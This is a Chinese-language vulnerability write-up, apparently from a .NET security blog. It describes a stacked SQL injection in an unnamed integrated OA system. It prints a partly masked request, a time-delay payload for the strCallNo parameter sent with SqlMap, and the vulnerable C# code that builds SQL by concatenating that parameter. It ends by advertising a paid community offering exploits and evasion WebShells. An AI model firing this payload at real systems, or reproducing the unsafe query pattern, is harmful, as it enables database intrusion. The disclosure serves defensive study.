01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面。
02漏洞背景
某整合系统以协同办公作为基础平台,除了常用的OA功能外,还有强大的工作流引擎、预警平台和整合平台的基础功能。在标准化应用基础上充分结合IT行业的管理特性,采用B/S多层技术架构将会造成信息孤岛的协同办公、进销存财务、客户服务等三大业务系统完全整合在一个平台上,实现了平台所有跨系统跨模块数据信息之间的共享和关联,并能和手机、固定电话、语音设备等与系统进行实时交互。
03漏洞复现
近日外部渠爆出该系统存在SQL漏洞,参数strCallNo存在堆叠注入,具体的数据包如下
POST /****/***.as**/Get**Info HTTP/1.1
Host:
Content-Length: 14
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: closestrCallNo=1*
使用SqlMap发送堆叠注入Payload,strCallNo = 1' ; WAITFOR DELAY '0:0:5'-- 实现延时注入,如图所示。如下图所示。
04漏洞分析
该方法通过执行 SQL 查询,查找电话号码匹配的联系人,具体代码如下所示。
public string Get**Info(string strCallNo){DataSet ds = Gateway.Default.FromCustomSql("SELECT A.CManName,A.CPosting,C.CustName FROM dbo.Common_CustomerLinkman A LEFT JOIN COMMON_CustomerToLinkMan B ON A.CManId=B.LinkMan_ID LEFT JOIN dbo.Common_Customer C ON C.CustId=B.CUSTOMER_ID WHERE A.COfficeTel1 LIKE '%" + strCallNo + "%' OR A.CMobile1 LIKE '%" + strCallNo + "%' ORDER BY B.IS_IMPORTANCE_LINKMAN DESC, B.IS_IMPORTANCE_CUSTOMER DESC").ToDataSet();if (ds != null && ds.Tables.Count > 0 && ds.Tables[0].Rows.Count > 0){DataRow dr = ds.Tables[0].Rows[0];return dr["CManName"] + "," + dr["CPosting"] + "," + dr["CustName"];}return string.Empty;
使用 Gateway.Default.FromCustomSql 执行一个自定义的 SQL 查询,并将结果存储在 DataSet 对象中。而外部的传入的参数strCallNo未经过安全过滤,因此存在SQL注入漏洞。
本次电子报刊《.NET 内网安全攻防》专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。
1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理
dotNet安全矩阵知识星球已经持续运营2年多,已成为中国.NET安全领域最知名、最活跃的技术知识库,近1000位成员一起互动学习。星球主题数量近600+,精华主题230+,PDF文档和压缩包300+,27+个专题栏目涵盖了点、线、面、体等知识面。包含了.NET应用漏洞情报和27个专栏系列,涵盖了从基础到高级的多种主题。
【漏洞情报】、【漏洞分析】专栏持续更新最新的 .NET 应用漏洞情报POC,并在每年HW期间提供一手漏洞情报。这些POC/EXP涵盖了一些0day和1day漏洞,确保您始终掌握最前沿的安全信息和防护措施。【内存马】、【代码审计】、【预编译上传】、【反序列化漏洞】、【免杀WebShell】,还是【逆向工程】、【加解密算法】、【.NET工具库】等热点方向,知识星球都为大家提供了详细的资源和深入的分析。